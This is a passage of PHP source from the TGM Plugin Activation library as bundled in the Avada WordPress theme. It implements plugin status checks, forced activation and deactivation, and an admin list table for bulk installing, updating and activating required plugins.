TGMPA Install page. * * I.e. depending on the config settings passed something along the lines of: * http://example.com/wp-admin/themes.php?page=tgmpa-install-plugins * * @since 2.5.0 * * @return string Properly encoded URL (not escaped). */ public function get_tgmpa_url() { static $url; if ( ! isset( $url ) ) { $parent = $this->parent_slug; if ( false === strpos( $parent, '.php' ) ) { $parent = 'admin.php'; } $url = add_query_arg( array( 'page' => urlencode( $this->menu ), ), self_admin_url( $parent ) ); } return $url; } /** * Retrieve the URL to the TGMPA Install page for a specific plugin status (view). * * I.e. depending on the config settings passed something along the lines of: * http://example.com/wp-admin/themes.php?page=tgmpa-install-plugins&plugin_status=install * * @since 2.5.0 * * @param string $status Plugin status - either 'install', 'update' or 'activate'. * @return string Properly encoded URL (not escaped). */ public function get_tgmpa_status_url( $status ) { // ThemeFusion edit for Avada theme: append #avada-install-plugins to the url. return add_query_arg( array( 'plugin_status' => urlencode( $status ) . '#avada-install-plugins', ), $this->get_tgmpa_url() ); } /** * Determine whether there are open actions for plugins registered with TGMPA. * * @since 2.5.0 * * @return bool True if complete, i.e. no outstanding actions. False otherwise. */ public function is_tgmpa_complete() { $complete = true; foreach ( $this->plugins as $slug => $plugin ) { if ( ! $this->is_plugin_active( $slug ) || false !== $this->does_plugin_have_update( $slug ) ) { $complete = false; break; } } return $complete; } /** * Check if a plugin is installed. Does not take must-use plugins into account. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if installed, false otherwise. */ public function is_plugin_installed( $slug ) { $installed_plugins = $this->get_plugins(); // Retrieve a list of all installed plugins (WP cached). return ( ! empty( $installed_plugins[ $this->plugins[ $slug ]['file_path'] ] ) ); } /** * Check if a plugin is active. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if active, false otherwise. */ public function is_plugin_active( $slug ) { return ( ( ! empty( $this->plugins[ $slug ]['is_callable'] ) && is_callable( $this->plugins[ $slug ]['is_callable'] ) ) || fusion_is_plugin_activated( $this->plugins[ $slug ]['file_path'] ) ); } /** * Check if a plugin can be updated, i.e. if we have information on the minimum WP version required * available, check whether the current install meets them. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if OK to update, false otherwise. */ public function can_plugin_update( $slug ) { // We currently can't get reliable info on non-WP-repo plugins - issue #380. if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) { return true; } $api = $this->get_plugins_api( $slug ); if ( false !== $api && isset( $api->requires ) ) { return version_compare( $this->wp_version, $api->requires, '>=' ); } // No usable info received from the plugins API, presume we can update. return true; } /** * Check to see if the plugin is 'updatetable', i.e. installed, with an update available * and no WP version requirements blocking it. * * @since 2.6.0 * * @param string $slug Plugin slug. * @return bool True if OK to proceed with update, false otherwise. */ public function is_plugin_updatetable( $slug ) { if ( ! $this->is_plugin_installed( $slug ) ) { return false; } else { return ( false !== $this->does_plugin_have_update( $slug ) && $this->can_plugin_update( $slug ) ); } } /** * Check if a plugin can be activated, i.e. is not currently active and meets the minimum * plugin version requirements set in TGMPA (if any). * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if OK to activate, false otherwise. */ public function can_plugin_activate( $slug ) { return ( ! $this->is_plugin_active( $slug ) && ! $this->does_plugin_require_update( $slug ) ); } /** * Retrieve the version number of an installed plugin. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Version number as string or an empty string if the plugin is not installed * or version unknown (plugins which don't comply with the plugin header standard). */ public function get_installed_version( $slug ) { $installed_plugins = $this->get_plugins(); // Retrieve a list of all installed plugins (WP cached). if ( ! empty( $installed_plugins[ $this->plugins[ $slug ]['file_path'] ]['Version'] ) ) { return $installed_plugins[ $this->plugins[ $slug ]['file_path'] ]['Version']; } return ''; } /** * Check whether a plugin complies with the minimum version requirements. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True when a plugin needs to be updated, otherwise false. */ public function does_plugin_require_update( $slug ) { $installed_version = $this->get_installed_version( $slug ); $minimum_version = $this->plugins[ $slug ]['version']; return version_compare( $minimum_version, $installed_version, '>' ); } /** * Check whether there is an update available for a plugin. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return false|string Version number string of the available update or false if no update available. */ public function does_plugin_have_update( $slug ) { // Presume bundled and external plugins will point to a package which meets the minimum required version. if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) { if ( $this->does_plugin_require_update( $slug ) ) { return $this->plugins[ $slug ]['version']; } return false; } $repo_updates = get_site_transient( 'update_plugins' ); if ( isset( $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->new_version ) ) { return $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->new_version; } return false; } /** * Retrieve potential upgrade notice for a plugin. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string The upgrade notice or an empty string if no message was available or provided. */ public function get_upgrade_notice( $slug ) { // We currently can't get reliable info on non-WP-repo plugins - issue #380. if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) { return ''; } $repo_updates = get_site_transient( 'update_plugins' ); if ( ! empty( $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->upgrade_notice ) ) { return $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->upgrade_notice; } return ''; } /** * Wrapper around the core WP get_plugins function, making sure it's actually available. * * @since 2.5.0 * * @param string $plugin_folder Optional. Relative path to single plugin folder. * @return array Array of installed plugins with plugin information. */ public function get_plugins( $plugin_folder = '' ) { if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } return get_plugins( $plugin_folder ); } /** * Delete dismissable nag option when theme is switched. * * This ensures that the user(s) is/are again reminded via nag of required * and/or recommended plugins if they re-activate the theme. * * @since 2.1.1 */ public function update_dismiss() { delete_metadata( 'user', null, 'tgmpa_dismissed_notice_' . $this->id, null, true ); } /** * Forces plugin activation if the parameter 'force_activation' is * set to true. * * This allows theme authors to specify certain plugins that must be * active at all times while using the current theme. * * Please take special care when using this parameter as it has the * potential to be harmful if not used correctly. Setting this parameter * to true will not allow the specified plugin to be deactivated unless * the user switches themes. * * @since 2.2.0 */ public function force_activation() { foreach ( $this->plugins as $slug => $plugin ) { if ( true === $plugin['force_activation'] ) { if ( ! $this->is_plugin_installed( $slug ) ) { // Oops, plugin isn't there so iterate to next condition. continue; } elseif ( $this->can_plugin_activate( $slug ) ) { // There we go, activate the plugin. activate_plugin( $plugin['file_path'] ); } } } } /** * Forces plugin deactivation if the parameter 'force_deactivation' * is set to true and adds the plugin to the 'recently active' plugins list. * * This allows theme authors to specify certain plugins that must be * deactivated upon switching from the current theme to another. * * Please take special care when using this parameter as it has the * potential to be harmful if not used correctly. * * @since 2.2.0 */ public function force_deactivation() { $deactivated = array(); foreach ( $this->plugins as $slug => $plugin ) { /* * Only proceed forward if the parameter is set to true and plugin is active * as a 'normal' (not must-use) plugin. */ if ( true === $plugin['force_deactivation'] && fusion_is_plugin_activated( $plugin['file_path'] ) ) { deactivate_plugins( $plugin['file_path'] ); $deactivated[ $plugin['file_path'] ] = time(); } } if ( ! empty( $deactivated ) ) { update_option( 'recently_activated', $deactivated + (array) get_option( 'recently_activated' ) ); } } /** * Echo the current TGMPA version number to the page. * * @since 2.5.0 */ public function show_tgmpa_version() { echo '

    ', esc_html( sprintf( /* translators: %s: version number */ __( 'TGMPA v%s', 'Avada' ), self::TGMPA_VERSION ) ), '

    '; } /** * Returns the singleton instance of the class. * * @since 2.4.0 * * @return \Avada_TGM_Plugin_Activation The Avada_TGM_Plugin_Activation object. */ public static function get_instance() { if ( ! isset( self::$instance ) && ! ( self::$instance instanceof self ) ) { self::$instance = new self(); } return self::$instance; } } if ( ! function_exists( 'load_avada_tgm_plugin_activation' ) ) { /** * Ensure only one instance of the class is ever invoked. * * @since 2.5.0 */ function load_avada_tgm_plugin_activation() { $GLOBALS['avada_tgmpa'] = Avada_TGM_Plugin_Activation::get_instance(); } } if ( did_action( 'plugins_loaded' ) ) { load_avada_tgm_plugin_activation(); } else { add_action( 'plugins_loaded', 'load_avada_tgm_plugin_activation' ); } } if ( ! function_exists( 'avada_tgmpa' ) ) { /** * Helper function to register a collection of required plugins. * * @since 2.0.0 * @api * * @param array $plugins An array of plugin arrays. * @param array $config Optional. An array of configuration values. */ function avada_tgmpa( $plugins, $config = array() ) { $instance = call_user_func( array( get_class( $GLOBALS['avada_tgmpa'] ), 'get_instance' ) ); foreach ( $plugins as $plugin ) { call_user_func( array( $instance, 'register' ), $plugin ); } if ( ! empty( $config ) && is_array( $config ) ) { // Send out notices for deprecated arguments passed. if ( isset( $config['notices'] ) ) { _deprecated_argument( __FUNCTION__, '2.2.0', 'The `notices` config parameter was renamed to `has_notices` in TGMPA 2.2.0. Please adjust your configuration.' ); if ( ! isset( $config['has_notices'] ) ) { $config['has_notices'] = $config['notices']; } } if ( isset( $config['parent_menu_slug'] ) ) { _deprecated_argument( __FUNCTION__, '2.4.0', 'The `parent_menu_slug` config parameter was removed in TGMPA 2.4.0. In TGMPA 2.5.0 an alternative was (re-)introduced. Please adjust your configuration. For more information visit the website: http://tgmpluginactivation.com/configuration/#h-configuration-options.' ); } if ( isset( $config['parent_url_slug'] ) ) { _deprecated_argument( __FUNCTION__, '2.4.0', 'The `parent_url_slug` config parameter was removed in TGMPA 2.4.0. In TGMPA 2.5.0 an alternative was (re-)introduced. Please adjust your configuration. For more information visit the website: http://tgmpluginactivation.com/configuration/#h-configuration-options.' ); } call_user_func( array( $instance, 'config' ), $config ); } } } /** * WP_List_Table isn't always available. If it isn't available, * we load it here. * * @since 2.2.0 */ if ( ! class_exists( 'WP_List_Table' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php'; } if ( ! class_exists( 'TGMPA_List_Table' ) ) { /** * List table class for handling plugins. * * Extends the WP_List_Table class to provide a future-compatible * way of listing out all required/recommended plugins. * * Gives users an interface similar to the Plugin Administration * area with similar (albeit stripped down) capabilities. * * This class also allows for the bulk install of plugins. * * @since 2.2.0 * * @package TGM-Plugin-Activation * @author Thomas Griffin * @author Gary Jones */ class TGMPA_List_Table extends WP_List_Table { /** * TGMPA instance. * * @since 2.5.0 * * @var object */ protected $tgmpa; /** * The currently chosen view. * * @since 2.5.0 * * @var string One of: 'all', 'install', 'update', 'activate' */ public $view_context = 'all'; /** * The plugin counts for the various views. * * @since 2.5.0 * * @var array */ protected $view_totals = array( 'all' => 0, 'install' => 0, 'update' => 0, 'activate' => 0, ); /** * References parent constructor and sets defaults for class. * * @since 2.2.0 */ public function __construct() { $this->tgmpa = call_user_func( array( get_class( $GLOBALS['avada_tgmpa'] ), 'get_instance' ) ); parent::__construct( array( 'singular' => 'plugin', 'plural' => 'plugins', 'ajax' => false, ) ); if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], array( 'install', 'update', 'activate' ), true ) ) { $this->view_context = sanitize_key( $_REQUEST['plugin_status'] ); } add_filter( 'tgmpa_table_data_items', array( $this, 'sort_table_items' ) ); } /** * Get a list of CSS classes for the tag. * * Overruled to prevent the 'plural' argument from being added. * * @since 2.5.0 * * @return array CSS classnames. */ public function get_table_classes() { return array( 'widefat', 'fixed' ); } /** * Gathers and renames all of our plugin information to be used by WP_List_Table to create our table. * * @since 2.2.0 * * @return array $table_data Information for use in table. */ protected function _gather_plugin_data() { // Load thickbox for plugin links. $this->tgmpa->admin_init(); $this->tgmpa->thickbox(); // Categorize the plugins which have open actions. $plugins = $this->categorize_plugins_to_views(); // Set the counts for the view links. $this->set_view_totals( $plugins ); // Prep variables for use and grab list of all installed plugins. $table_data = array(); $i = 0; // Redirect to the 'all' view if no plugins were found for the selected view context. if ( empty( $plugins[ $this->view_context ] ) ) { $this->view_context = 'all'; } foreach ( $plugins[ $this->view_context ] as $slug => $plugin ) { // ThemeFusion edit, prevent recommended showing in window. if ( ! $plugin['required'] ) { continue; } $table_data[ $i ]['sanitized_plugin'] = $plugin['name']; $table_data[ $i ]['slug'] = $slug; $table_data[ $i ]['plugin'] = '' . $this->tgmpa->get_info_link( $slug ) . ''; $table_data[ $i ]['source'] = $this->get_plugin_source_type_text( $plugin['source_type'] ); $table_data[ $i ]['type'] = $this->get_plugin_advise_type_text( $plugin['required'] ); $table_data[ $i ]['status'] = $this->get_plugin_status_text( $slug ); $table_data[ $i ]['installed_version'] = $this->tgmpa->get_installed_version( $slug ); $table_data[ $i ]['minimum_version'] = $plugin['version']; $table_data[ $i ]['available_version'] = $this->tgmpa->does_plugin_have_update( $slug ); // Prep the upgrade notice info. $upgrade_notice = $this->tgmpa->get_upgrade_notice( $slug ); if ( ! empty( $upgrade_notice ) ) { $table_data[ $i ]['upgrade_notice'] = $upgrade_notice; add_action( "tgmpa_after_plugin_row_{$slug}", array( $this, 'wp_plugin_update_row' ), 10, 2 ); } $table_data[ $i ] = apply_filters( 'tgmpa_table_data_item', $table_data[ $i ], $plugin ); $i++; } return $table_data; } /** * Categorize the plugins which have open actions into views for the TGMPA page. * * @since 2.5.0 */ protected function categorize_plugins_to_views() { $plugins = array( 'all' => array(), // Meaning: all plugins which still have open actions. 'install' => array(), 'update' => array(), 'activate' => array(), ); foreach ( $this->tgmpa->plugins as $slug => $plugin ) { if ( $this->tgmpa->is_plugin_active( $slug ) && false === $this->tgmpa->does_plugin_have_update( $slug ) ) { // No need to display plugins if they are installed, up-to-date and active. continue; } else { $plugins['all'][ $slug ] = $plugin; if ( ! $this->tgmpa->is_plugin_installed( $slug ) ) { $plugins['install'][ $slug ] = $plugin; } else { if ( false !== $this->tgmpa->does_plugin_have_update( $slug ) ) { $plugins['update'][ $slug ] = $plugin; } if ( $this->tgmpa->can_plugin_activate( $slug ) ) { $plugins['activate'][ $slug ] = $plugin; } } } } return $plugins; } /** * Set the counts for the view links. * * @since 2.5.0 * * @param array $plugins Plugins order by view. */ protected function set_view_totals( $plugins ) { foreach ( $plugins as $type => $list ) { $this->view_totals[ $type ] = count( $list ); } } /** * Get the plugin required/recommended text string. * * @since 2.5.0 * * @param string $required Plugin required setting. * @return string */ protected function get_plugin_advise_type_text( $required ) { if ( true === $required ) { return __( 'Required', 'Avada' ); } return __( 'Recommended', 'Avada' ); } /** * Get the plugin source type text string. * * @since 2.5.0 * * @param string $type Plugin type. * @return string */ protected function get_plugin_source_type_text( $type ) { $string = ''; switch ( $type ) { case 'repo': $string = __( 'WordPress Repository', 'Avada' ); break; case 'external': $string = __( 'External Source', 'Avada' ); break; case 'bundled': $string = __( 'Pre-Packaged', 'Avada' ); break; } return $string; } /** * Determine the plugin status message. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string */ protected function get_plugin_status_text( $slug ) { if ( ! $this->tgmpa->is_plugin_installed( $slug ) ) { return __( 'Not Installed', 'Avada' ); } if ( ! $this->tgmpa->is_plugin_active( $slug ) ) { $install_status = __( 'Installed But Not Activated', 'Avada' ); } else { $install_status = __( 'Active', 'Avada' ); } $update_status = ''; if ( $this->tgmpa->does_plugin_require_update( $slug ) && false === $this->tgmpa->does_plugin_have_update( $slug ) ) { $update_status = __( 'Required Update not Available', 'Avada' ); } elseif ( $this->tgmpa->does_plugin_require_update( $slug ) ) { $update_status = __( 'Requires Update', 'Avada' ); } elseif ( false !== $this->tgmpa->does_plugin_have_update( $slug ) ) { $update_status = __( 'Update recommended', 'Avada' ); } if ( '' === $update_status ) { return $install_status; } return sprintf( /* translators: 1: install status, 2: update status */ _x( '%1$s, %2$s', 'Install/Update Status', 'Avada' ), $install_status, $update_status ); } /** * Sort plugins by Required/Recommended type and by alphabetical plugin name within each type. * * @since 2.5.0 * * @param array $items Prepared table items. * @return array Sorted table items. */ public function sort_table_items( $items ) { $type = array(); $name = array(); foreach ( $items as $i => $plugin ) { $type[ $i ] = $plugin['type']; // Required / recommended. $name[ $i ] = $plugin['sanitized_plugin']; } array_multisort( $type, SORT_DESC, $name, SORT_ASC, $items ); return $items; } /** * Get an associative array ( id => link ) of the views available on this table. * * @since 2.5.0 * * @return array */ public function get_views() { $status_links = array(); foreach ( $this->view_totals as $type => $count ) { if ( $count < 1 ) { continue; } switch ( $type ) { case 'all': /* translators: 1: number of plugins. */ $text = _nx( 'All (%s)', 'All (%s)', $count, 'plugins', 'Avada' ); break; case 'install': /* translators: 1: number of plugins. */ $text = _n( 'To Install (%s)', 'To Install (%s)', $count, 'Avada' ); break; case 'update': /* translators: 1: number of plugins. */ $text = _n( 'Update Available (%s)', 'Update Available (%s)', $count, 'Avada' ); break; case 'activate': /* translators: 1: number of plugins. */ $text = _n( 'To Activate (%s)', 'To Activate (%s)', $count, 'Avada' ); break; default: $text = ''; break; } if ( ! empty( $text ) ) { $status_links[ $type ] = sprintf( '%s', esc_url( $this->tgmpa->get_tgmpa_status_url( $type ) ), ( $type === $this->view_context ) ? ' class="current"' : '', sprintf( $text, number_format_i18n( $count ) ) ); } } return $status_links; } /** * Create default columns to display important plugin information * like type, action and status. * * @since 2.2.0 * * @param array $item Array of item data. * @param string $column_name The name of the column. * @return string */ public function column_default( $item, $column_name ) { return $item[ $column_name ]; } /** * Required for bulk installing. * * Adds a checkbox for each plugin. * * @since 2.2.0 * * @param array $item Array of item data. * @return string The input checkbox with all necessary info. */ public function column_cb( $item ) { return sprintf( '', esc_attr( $this->_args['singular'] ), esc_attr( $item['slug'] ), esc_attr( $item['sanitized_plugin'] ) ); } /** * Create default title column along with the action links. * * @since 2.2.0 * * @param array $item Array of item data. * @return string The plugin name and action links. */ public function column_plugin( $item ) { return sprintf( '%1$s %2$s', $item['plugin'], $this->row_actions( $this->get_row_actions( $item ), true ) ); } /** * Create version information column. * * @since 2.5.0 * * @param array $item Array of item data. * @return string HTML-formatted version information. */ public function column_version( $item ) { $output = array(); if ( $this->tgmpa->is_plugin_installed( $item['slug'] ) ) { $installed = ! empty( $item['installed_version'] ) ? $item['installed_version'] : _x( 'unknown', 'as in: "version nr unknown"', 'Avada' ); $color = ''; if ( ! empty( $item['minimum_version'] ) && $this->tgmpa->does_plugin_require_update( $item['slug'] ) ) { $color = ' color: #ff0000; font-weight: bold;'; } $output[] = sprintf( '

    %2$s' . __( 'Installed version:', 'Avada' ) . '

    ', $color, $installed ); } if ( ! empty( $item['minimum_version'] ) ) { $output[] = sprintf( '

    %1$s' . __( 'Minimum required version:', 'Avada' ) . '

    ', $item['minimum_version'] ); } if ( ! empty( $item['available_version'] ) ) { $color = ''; if ( ! empty( $item['minimum_version'] ) && version_compare( $item['available_version'], $item['minimum_version'], '>=' ) ) { $color = ' color: #71C671; font-weight: bold;'; } $output[] = sprintf( '

    %2$s' . __( 'Available version:', 'Avada' ) . '

    ', $color, $item['available_version'] ); } if ( empty( $output ) ) { return ' '; // Let's not break the table layout. } else { return implode( "\n", $output ); } } /** * Sets default message within the plugins table if no plugins * are left for interaction. * * Hides the menu item to prevent the user from clicking and * getting a permissions error. * * @since 2.2.0 */ public function no_items() { printf( /* translators: Dashboard URL. */ esc_html__( 'No plugins to install, update or activate. Return to the Dashboard', 'Avada' ), esc_url( self_admin_url() ) ); echo ''; } /** * Output all the column information within the table. * * @since 2.2.0 * * @return array $columns The column names. */ public function get_columns() { $columns = array( 'cb' => '', 'plugin' => __( 'Plugin', 'Avada' ), 'source' => __( 'Source', 'Avada' ), 'type' => __( 'Type', 'Avada' ), ); if ( 'all' === $this->view_context || 'update' === $this->view_context ) { $columns['version'] = __( 'Version', 'Avada' ); $columns['status'] = __( 'Status', 'Avada' ); } return apply_filters( 'tgmpa_table_columns', $columns ); } /** * Get name of default primary column * * @since 2.5.0 / WP 4.3+ compatibility * @access protected * * @return string */ protected function get_default_primary_column_name() { return 'plugin'; } /** * Get the name of the primary column. * * @since 2.5.0 / WP 4.3+ compatibility * @access protected * * @return string The name of the primary column. */ protected function get_primary_column_name() { if ( method_exists( 'WP_List_Table', 'get_primary_column_name' ) ) { return parent::get_primary_column_name(); } else { return $this->get_default_primary_column_name(); } } /** * Get the actions which are relevant for a specific plugin row. * * @since 2.5.0 * * @param array $item Array of item data. * @return array Array with relevant action links. */ protected function get_row_actions( $item ) { $actions = array(); $action_links = array(); // Display the 'Install' action link if the plugin is not yet available. if ( ! $this->tgmpa->is_plugin_installed( $item['slug'] ) ) { /* translators: %2$s: plugin name in screen reader markup */ $actions['install'] = __( 'Install %2$s', 'Avada' ); } else { // Display the 'Update' action link if an update is available and WP complies with plugin minimum. if ( false !== $this->tgmpa->does_plugin_have_update( $item['slug'] ) && $this->tgmpa->can_plugin_update( $item['slug'] ) ) { /* translators: %2$s: plugin name in screen reader markup */ $actions['update'] = __( 'Update %2$s', 'Avada' ); } // Display the 'Activate' action link, but only if the plugin meets the minimum version. if ( $this->tgmpa->can_plugin_activate( $item['slug'] ) ) { /* translators: %2$s: plugin name in screen reader markup */ $actions['activate'] = __( 'Activate %2$s', 'Avada' ); } } // Create the actual links. foreach ( $actions as $action => $text ) { $nonce_url = wp_nonce_url( add_query_arg( array( 'plugin' => urlencode( $item['slug'] ), 'tgmpa-' . $action => $action . '-plugin', ), $this->tgmpa->get_tgmpa_url() ), 'tgmpa-' . $action, 'tgmpa-nonce' ); $action_links[ $action ] = sprintf( '' . esc_html( $text ) . '', // $text contains the second placeholder. esc_url( $nonce_url ), '' . esc_html( $item['sanitized_plugin'] ) . '' ); } $prefix = ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN ) ? 'network_admin_' : ''; return apply_filters( "tgmpa_{$prefix}plugin_action_links", array_filter( $action_links ), $item['slug'], $item, $this->view_context ); } /** * Generates content for a single row of the table. * * @since 2.5.0 * * @param object $item The current item. */ public function single_row( $item ) { parent::single_row( $item ); /** * Fires after each specific row in the TGMPA Plugins list table. * * The dynamic portion of the hook name, `$item['slug']`, refers to the slug * for the plugin. * * @since 2.5.0 */ do_action( "tgmpa_after_plugin_row_{$item['slug']}", $item['slug'], $item, $this->view_context ); } /** * Show the upgrade notice below a plugin row if there is one. * * @since 2.5.0 * * @see /wp-admin/includes/update.php * * @param string $slug Plugin slug. * @param array $item The information available in this table row. * @return null Return early if upgrade notice is empty. */ public function wp_plugin_update_row( $slug, $item ) { if ( empty( $item['upgrade_notice'] ) ) { return; } echo ' '; } /** * Extra controls to be displayed between bulk actions and pagination. * * @since 2.5.0 * * @param string $which 'top' or 'bottom' table navigation. */ public function extra_tablenav( $which ) { if ( 'bottom' === $which ) { $this->tgmpa->show_tgmpa_version(); } } /** * Defines the bulk actions for handling registered plugins. * * @since 2.2.0 * * @return array $actions The bulk actions for the plugin install table. */ public function get_bulk_actions() { $actions = array(); if ( 'update' !== $this->view_context && 'activate' !== $this->view_context ) { if ( current_user_can( 'install_plugins' ) ) { $actions['tgmpa-bulk-install'] = __( 'Install', 'Avada' ); } } if ( 'install' !== $this->view_context ) { if ( current_user_can( 'update_plugins' ) ) { $actions['tgmpa-bulk-update'] = __( 'Update', 'Avada' ); } if ( current_user_can( 'activate_plugins' ) ) { $actions['tgmpa-bulk-activate'] = __( 'Activate', 'Avada' ); } } return $actions; } /** * Processes bulk installation and activation actions. * * The bulk installation process looks for the $_POST information and passes that * through if a user has to use WP_Filesystem to enter their credentials. * * @since 2.2.0 */ public function process_bulk_actions() { // Bulk installation process. if ( 'tgmpa-bulk-install' === $this->current_action() || 'tgmpa-bulk-update' === $this->current_action() ) { check_admin_referer( 'bulk-' . $this->_args['plural'] ); $install_type = 'install'; if ( 'tgmpa-bulk-update' === $this->current_action() ) { $install_type = 'update'; } $plugins_to_install = array(); // Did user actually select any plugins to install/update ? if ( empty( $_POST['plugin'] ) ) { if ( 'install' === $install_type ) { $message = __( 'No plugins were selected to be installed. No action taken.', 'Avada' ); } else { $message = __( 'No plugins were selected to be updated. No action taken.', 'Avada' ); } echo '

    ', esc_html( $message ), '

    '; return false; } if ( is_array( $_POST['plugin'] ) ) { $plugins_to_install = (array) $_POST['plugin']; } elseif ( is_string( $_POST['plugin'] ) ) { // Received via Filesystem page - un-flatten array (WP bug #19643). $plugins_to_install = explode( ',', $_POST['plugin'] ); } // Sanitize the received input. $plugins_to_install = array_map( 'urldecode', $plugins_to_install ); $plugins_to_install = array_map( array( $this->tgmpa, 'sanitize_key' ), $plugins_to_install ); // Validate the received input. foreach ( $plugins_to_install as $key => $slug ) { // Check if the plugin was registered with TGMPA and remove if not. if ( ! isset( $this->tgmpa->plugins[ $slug ] ) ) { unset( $plugins_to_install[ $key ] ); continue; } // For install: make sure this is a plugin we *can* install and not one already installed. if ( 'install' === $install_type && true === $this->tgmpa->is_plugin_installed( $slug ) ) { unset( $plugins_to_install[ $key ] ); } // For updates: make sure this is a plugin we *can* update (update available and WP version ok). if ( 'update' === $install_type && false === $this->tgmpa->is_plugin_updatetable( $slug ) ) { unset( $plugins_to_install[ $key ] ); } } // No need to proceed further if we have no plugins to handle. if ( empty( $plugins_to_install ) ) { if ( 'install' === $install_type ) { $message = __( 'No plugins are available to be installed at this time.', 'Avada' ); } else { $message = __( 'No plugins are available to be updated at this time.', 'Avada' ); } echo '

    ', esc_html( $message ), '

    '; return false; } // Pass all necessary information if WP_Filesystem is needed. $url = wp_nonce_url( $this->tgmpa->get_tgmpa_url(), 'bulk-' . $this->_args['plural'] ); // Give validated data back to $_POST which is the only place the filesystem looks for extra fields. $_POST['plugin'] = implode( ',', $plugins_to_install ); // Work around for WP bug #19643. $method = ''; // Leave blank so WP_Filesystem can populate it as necessary. $fields = array_keys( $_POST ); // Extra fields to pass to WP_Filesystem. if ( false === ( $creds = request_filesystem_credentials( esc_url_raw( $url ), $method, false, false, $fields ) ) ) { return true; // Stop the normal page form from displaying, credential request form will be shown. } // Now we have some credentials, setup WP_Filesystem. if ( ! WP_Filesystem( $creds ) ) { // Our credentials were no good, ask the user for them again. request_filesystem_credentials( esc_url_raw( $url ), $method, true, false, $fields ); return true; } /* If we arrive here, we have the filesystem */ // Store all information in arrays since we are processing a bulk installation. $names = array(); $sources = array(); // Needed for installs. $file_paths = array(); // Needed for upgrades. $to_inject = array(); // Information to inject into the update_plugins transient. // Prepare the data for validated plugins for the install/upgrade. foreach ( $plugins_to_install as $slug ) { $name = $this->tgmpa->plugins[ $slug ]['name']; $source = $this->tgmpa->get_download_url( $slug ); if ( ! empty( $name ) && ! empty( $source ) ) { $names[] = $name; switch ( $install_type ) { case 'install': $sources[] = $source; break; case 'update': $file_paths[] = $this->tgmpa->plugins[ $slug ]['file_path']; $to_inject[ $slug ] = $this->tgmpa->plugins[ $slug ]; $to_inject[ $slug ]['source'] = $source; break; } } } unset( $slug, $name, $source ); // Create a new instance of TGMPA_Bulk_Installer. $installer = new TGMPA_Bulk_Installer( new TGMPA_Bulk_Installer_Skin( array( 'url' => esc_url_raw( $this->tgmpa->get_tgmpa_url() ), 'nonce' => 'bulk-' . $this->_args['plural'], 'names' => $names, 'install_type' => $install_type, ) ) ); // Wrap the install process with the appropriate HTML. echo '
    ', '

    ', esc_html( get_admin_page_title() ), '

    '; // Process the bulk installation submissions. add_filter( 'upgrader_source_selection', array( $this->tgmpa, 'maybe_adjust_source_dir' ), 1, 3 ); if ( 'tgmpa-bulk-update' === $this->current_action() ) { // Inject our info into the update transient. $this->tgmpa->inject_update_info( $to_inject ); $installer->bulk_upgrade( $file_paths ); } else { $installer->bulk_install( $sources ); } remove_filter( 'upgrader_source_selection', array( $this->tgmpa, 'maybe_adjust_source_dir' ), 1 ); echo '
    '; return true; } // Bulk activation process. if ( 'tgmpa-bulk-activate' === $this->current_action() ) { check_admin_referer( 'bulk-' . $this->_args['plural'] ); // Did user actually select any plugins to activate ? if ( empty( $_POST['plugin'] ) ) { echo '

    ', esc_html__( 'No plugins were selected to be activated. No action taken.', 'Avada' ), '

    '; return false; } // Grab plugin data from $_POST. $plugins = array(); if ( isset( $_POST['plugin'] ) ) { $plugins = array_map( 'urldecode', (array) $_POST['plugin'] ); $plugins = array_map( array( $this->tgmpa, 'sanitize_key' ), $plugins ); } $plugins_to_activate = array(); $plugin_names = array(); // Grab the file paths for the selected & inactive plugins from the registration array. foreach ( $plugins as $slug ) { if ( $this->tgmpa->can_plugin_activate( $slug ) ) { $plugins_to_activate[] = $this->tgmpa->plugins[ $slug ]['file_path']; $plugin_names[] = $this->tgmpa->plugins[ $slug ]['name']; } } unset( $slug ); // Return early if there are no plugins to activate. if ( empty( $plugins_to_activate ) ) { echo '

    ', esc_html__( 'No plugins are available to be activated at this time.', 'Avada' ), '

    '; return false; } // Now we are good to go - let's start activating plugins. $activate = activate_plugins( $plugins_to_activate ); if ( is_wp_error( $activate ) ) { echo '

    ', wp_kses_post( $activate->get_error_message() ), '

    '; } else { $count = count( $plugin_names ); // Count so we can use _n function. $plugin_names = array_map( array( 'TGMPA_Utils', 'wrap_in_strong' ), $plugin_names ); $last_plugin = array_pop( $plugin_names ); // Pop off last name to prep for readability. $imploded = empty( $plugin_names ) ? $last_plugin : ( implode( ', ', $plugin_names ) . ' ' . esc_html_x( 'and', 'plugin A *and* plugin B', 'Avada' ) . ' ' . $last_plugin ); printf( '

    %1$s %2$s.

